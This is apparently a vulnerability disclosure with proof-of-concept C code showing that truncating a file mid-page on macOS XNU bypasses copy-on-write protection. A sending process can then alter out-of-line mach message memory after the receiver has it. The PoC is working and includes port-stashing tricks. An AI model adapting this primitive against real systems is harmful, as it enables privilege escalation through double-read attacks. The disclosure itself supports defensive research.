macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File

/*
XNU has various interfaces that permit creating copy-on-write copies of data
between processes, including out-of-line message descriptors in mach messages.
It is important that the copied memory is protected against later modifications
by the source process; otherwise, the source process might be able to exploit
double-reads in the destination process.

This copy-on-write behavior works not only with anonymous memory, but also with
file mappings. This means that, if the filesystem mutates the file contents
(e.g. because the ftruncate() syscall was used), the filesystem must inform the
memory management subsystem so that affected pages can be deduplicated.
If this doesn't happen, that's a security bug.


ubc_setsize_ex() roughly has the following logic:

Step 1: If the file grows or stays at the same size, do nothing and return.
Step 2: If the new file size is not divisible by the page size, zero out the end
        of the page that is now at the end of the file.
Step 3: If there are pages that were previously part of the file but aren't
        anymore, tell the memory management subsystem to invalidate them.
Step 4: Return.

Step 2 is implemented as follows:

===========
        /*
         * new EOF ends up in the middle of a page
         * zero the tail of this page if it's currently
         * present in the cache
         
        kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE);

        if (kret != KERN_SUCCESS)
                panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret);

        if (upl_valid_page(pl, 0))
                cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL);

        ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY);
===========

Call graph:

ubc_create_upl_kernel(uplflags=UPL_SET_LITE)
-> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
-> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)

vm_object_upl_request() can perform COW deduplication, but only if the
UPL_WILL_MODIFY flag is set, which isn't set here.


A simple testcase:

===========
$ cat buggycow2.c 
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <unistd.h>

int main(void) {
 setbuf(stdout, NULL);

 int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600);
 if (fd == -1) err(1, "open");
 if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1");
 char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
 if (mapping == MAP_FAILED) err(1, "mmap");
 *(unsigned int *)(mapping + 0x3000) = 0x41414141;

 pointer_t cow_mapping;
 mach_msg_type_number_t cow_mapping_size;
 if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
 if (cow_mapping_size != 0x4000) errx(1, "vm read size");
 printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));

 if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2");

 printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
}
$ cc -o buggycow2 buggycow2.c 
$ ./buggycow2
orig: 0x41414141 cow: 0x41414141
orig: 0x41 cow: 0x41
$
===========


To demonstrate that this also works with out-of-line memory sent over mach
ports, I am attaching a more complicated PoC that was mostly written by Ian.
It sends an out-of-line descriptor over a mach port, then changes the memory
seen by the recipient.

Usage:

===========
$ cc -o mach_truncate_poc mach_truncate_poc.c
$ ./mach_truncate_poc
[+] child got stashed port
[+] child sent hello message to parent over shared port
[+] parent received hello message from child
[+] child restored stolen port
[+] file created
[+] child sent message to parent
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000
[+] parent reads: 41414141
[+] telling child to try to change what I see!
[+] child received ping to start trying to change the OOL memory!
[+] child called ftruncate()
[+] parent got ping message from child, lets try to read again...
[+] parent reads: 00000041
$
===========

The simple testcase was tested on 10.14.1 18B75.
*/

#define RAM_GB 16ULL
#define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL)

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

#include <sys/mman.h>
#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#define MACH_ERR(str, err) do { \
  if (err != KERN_SUCCESS) {    \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE);         \
  }                             \
} while(0)

#define FAIL(str) do { \
  printf("[-] " str "\n");  \
  exit(EXIT_FAILURE);  \
} while (0)

#define LOG(str) do { \
  printf("[+] " str"\n"); \
} while (0)

/***************
 * port dancer *
 ***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
  mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
  mach_msg_header_t  header;
} simple_msg_send_t;

typedef struct {
  mach_msg_header_t  header;
  mach_msg_trailer_t trailer;
} simple_msg_rcv_t;

#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT

// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;

// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;

void setup_shared_port() {
  kern_return_t err;
  // get a send right to the port we're going to overwrite so that we can both
  // restore it for ourselves and send it to our child
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
  MACH_ERR("saving original special port value", err);

  // allocate the shared port we want our child to have a send right to
  err = mach_port_allocate(mach_task_self(),
                           MACH_PORT_RIGHT_RECEIVE,
                           &shared_port_parent);

  MACH_ERR("allocating shared port", err);

  // insert the send right
  err = mach_port_insert_right(mach_task_self(),
                               shared_port_parent,
                               shared_port_parent,
                               MACH_MSG_TYPE_MAKE_SEND);
  MACH_ERR("inserting MAKE_SEND into shared port", err);

  // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
  MACH_ERR("setting special port", err);
}

mach_port_t recover_shared_port_child() {
  kern_return_t err;

  // grab the shared port which our parent stashed somewhere in the special ports
  mach_port_t shared_port_child = MACH_PORT_NULL;
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
  MACH_ERR("child getting stashed port", err);

  LOG("child got stashed port");

  // say hello to our parent and send a reply port so it can send us back the special port to restore

  // allocate a reply port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // send the reply port in a hello message
  simple_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = shared_port_child;

  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);

  err = mach_msg_send(&msg.header);
  MACH_ERR("child sending task port message", err);

  LOG("child sent hello message to parent over shared port");

  // wait for a message on the reply port containing the stolen port to restore
  port_msg_rcv_t stolen_port_msg = {0};
  err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  MACH_ERR("child receiving stolen port\n", err);

  // extract the port right from the message
  mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
  if (stolen_port_to_restore == MACH_PORT_NULL) {
    FAIL("child received invalid stolen port to restore");
  }

  // restore the special port for the child
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
  MACH_ERR("child restoring special port", err);

  LOG("child restored stolen port");
  return shared_port_child;
}

mach_port_t recover_shared_port_parent() {
  kern_return_t err;

  // restore the special port for ourselves
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
  MACH_ERR("parent restoring special port", err);

  // wait for a message from the child on the shared port
  simple_msg_rcv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 shared_port_parent,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  MACH_ERR("parent receiving child hello message", err);

  LOG("parent received hello message from child");

  // send the special port to our child over the hello message's reply port
  port_msg_send_t special_port_msg = {0};

  special_port_msg.header.msgh_size        = sizeof(special_port_msg);
  special_port_msg.header.msgh_local_port  = MACH_PORT_NULL;
  special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
  special_port_msg.header.msgh_bits        = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
  special_port_msg.body.msgh_descriptor_count = 1;

  special_port_msg.port.name        = saved_special_port;
  special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  special_port_msg.port.type        = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&special_port_msg.header);
  MACH_ERR("parent sending special port back to child", err);

  return shared_port_parent;
}

/*** end of port dancer code ***/


struct ool_send_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t desc;
};

struct ool_rcv_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t desc;
  mach_msg_trailer_t trailer;
};

struct ping_send_msg {
  mach_msg_header_t hdr;
};

struct ping_rcv_msg {
  mach_msg_header_t hdr;
  mach_msg_trailer_t trailer;
};

void do_child(mach_port_t shared_port) {
  kern_return_t err;

  // create a reply port to receive an ack that we should truncate the file
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // create a file that is a few pages big
  int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0666);
  if (fd == -1) FAIL("create testfile");
  if (ftruncate(fd, 0x4000)) FAIL("resize testfile");
  LOG("file created");

  void* mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED) FAIL("mmap created file");
  *(unsigned int *)mapping = 0x41414141;

  struct ool_send_msg msg = {0};

  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_local_port = reply_port;
  msg.hdr.msgh_remote_port = shared_port;
  msg.hdr.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
  msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
  msg.desc.deallocate = 0;
  msg.desc.address = mapping;
  msg.desc.size = 0x4000;

  err = mach_msg_send(&msg.hdr);
  MACH_ERR("child sending OOL message", err);

  LOG("child sent message to parent");

  // wait for an ack to change the file:
  struct ping_rcv_msg ping_rcv = {0};
  ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
  ping_rcv.hdr.msgh_local_port = reply_port;
  err = mach_msg_receive(&ping_rcv.hdr);
  MACH_ERR("child receiving ping to change OOL memory", err);

  LOG("child received ping to start trying to change the OOL memory!");

  // trigger the bug by calling ftruncate()
  if (ftruncate(fd, 1)) FAIL("truncate file to trigger bug");
  LOG("child called ftruncate()");	

  // send a message to read again:
  struct ping_send_msg ping = {0};
  ping.hdr.msgh_size = sizeof(ping);
  ping.hdr.msgh_remote_port = shared_port;
  ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

  err = mach_msg_send(&ping.hdr);
  MACH_ERR("parent sending ping to child", err);
  
  // spin and let our parent kill us
  while(1){;}
}

void do_parent(mach_port_t shared_port) {
  kern_return_t err;

  // wait for our child to send us an OOL message
  struct ool_rcv_msg msg = {0};
  msg.hdr.msgh_local_port = shared_port;
  msg.hdr.msgh_size = sizeof(msg);
  err = mach_msg_receive(&msg.hdr);
  MACH_ERR("parent receiving child OOL message", err);

  volatile uint32_t* parent_cow_mapping = msg.desc.address;
  uint32_t parent_cow_size = msg.desc.size;

  printf("[+] parent got an OOL descriptor for %x bytes, mapped COW at: %p\n", parent_cow_size, (void*) parent_cow_mapping);

  printf("[+] parent reads: %08x\n", *parent_cow_mapping);

  LOG("telling child to try to change what I see!");

  mach_port_t parent_to_child_port = msg.hdr.msgh_remote_port;

  struct ping_send_msg ping = {0};
  ping.hdr.msgh_size = sizeof(ping);
  ping.hdr.msgh_remote_port = parent_to_child_port;
  ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

  err = mach_msg_send(&ping.hdr);
  MACH_ERR("parent sending ping to child", err);

  // wait until we should try to read again:
  struct ping_rcv_msg ping_rcv = {0};
  ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
  ping_rcv.hdr.msgh_local_port = shared_port;
  err = mach_msg_receive(&ping_rcv.hdr);
  MACH_ERR("parent receiving ping to try another read", err);

  LOG("parent got ping message from child, lets try to read again...");
  
  printf("[+] parent reads: %08x\n", *parent_cow_mapping);
}

int main(int argc, char** argv) {
  setup_shared_port();

  pid_t child_pid = fork();
  if (child_pid == -1) {
    FAIL("forking");
  }

  if (child_pid == 0) {
    mach_port_t shared_port_child = recover_shared_port_child();
    do_child(shared_port_child);
  } else {
    mach_port_t shared_port_parent = recover_shared_port_parent();
    do_parent(shared_port_parent);
  }

  kill(child_pid, 9);
  int status;
  wait(&status); 

  return 0;
}